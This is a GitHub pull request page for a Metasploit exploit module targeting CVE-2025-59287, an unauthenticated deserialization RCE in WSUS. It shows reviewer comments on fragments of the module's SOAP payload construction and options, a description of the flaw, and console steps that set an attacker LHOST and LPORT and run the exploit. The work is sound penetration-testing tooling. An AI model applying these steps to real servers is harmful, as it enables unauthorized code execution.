-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287) #20674
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287) #20674
Conversation
|
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
| formatter: :SoapFormatter | ||
| ) | ||
|
|
||
| soap_body = %(<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can you please use HEREDOC here?
| }) | ||
| return CheckCode::Safe('Target does not run WSUS') unless res&.code == 200 && res.headers['Server'] == 'Microsoft-IIS/10.0' | ||
|
|
||
| CheckCode::Appears('Target is probably running WSUS') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| CheckCode::Appears('Target is probably running WSUS') | |
| CheckCode::Detected('Target is probably running WSUS') |
jvoisin
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Wow, that's a very clean module, kudos!
| 'Platform' => 'win', | ||
| 'DefaultOptions' => { | ||
| 'RPORT' => '8530', | ||
| 'WfsDelay' => 900 # need to wait for WSUS to try synchronize |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why 900 seconds specifically?
| 'DisclosureDate' => '2025-10-14', | ||
| 'DefaultTarget' => 0, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SERVICE_RESTARTS], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why crash? This is a deserialization-based RCE, so it shouldn't crash, ever, shouldn't it?
| 'Notes' => { | ||
| 'Stability' => [CRASH_SERVICE_RESTARTS], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why SCREEN_EFFECTS?
| <EventID>389</EventID> | ||
| <SourceID>301</SourceID> | ||
| <UpdateID> | ||
| <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can this be randomized?
This PR adds RCE module for unauthenticated deserialization in WSUS - CVE-2025-59287.
Work in progress.WSUS provides features for managing and distributing updates through a management console.
The CVE-2025-59287 is a remote code execution vulnerability in
this component that allows an unauthenticated attacker to create a specially crafted event that gets unsafely deserialized upon server sync.
One way to run synchronization is to open the
Windows Server Update Serviceapp,the other is to run the following command from PowerShell:
(Get-WsusServer).GetSubscription().GetLastSynchronizationInfo()Verification Steps
use exploit/windows/http/wsus_deserialization_rceset RHOSTS [target IP]set LHOST [attacker IP]set LPORT [attacker port]runOptions
Scenarios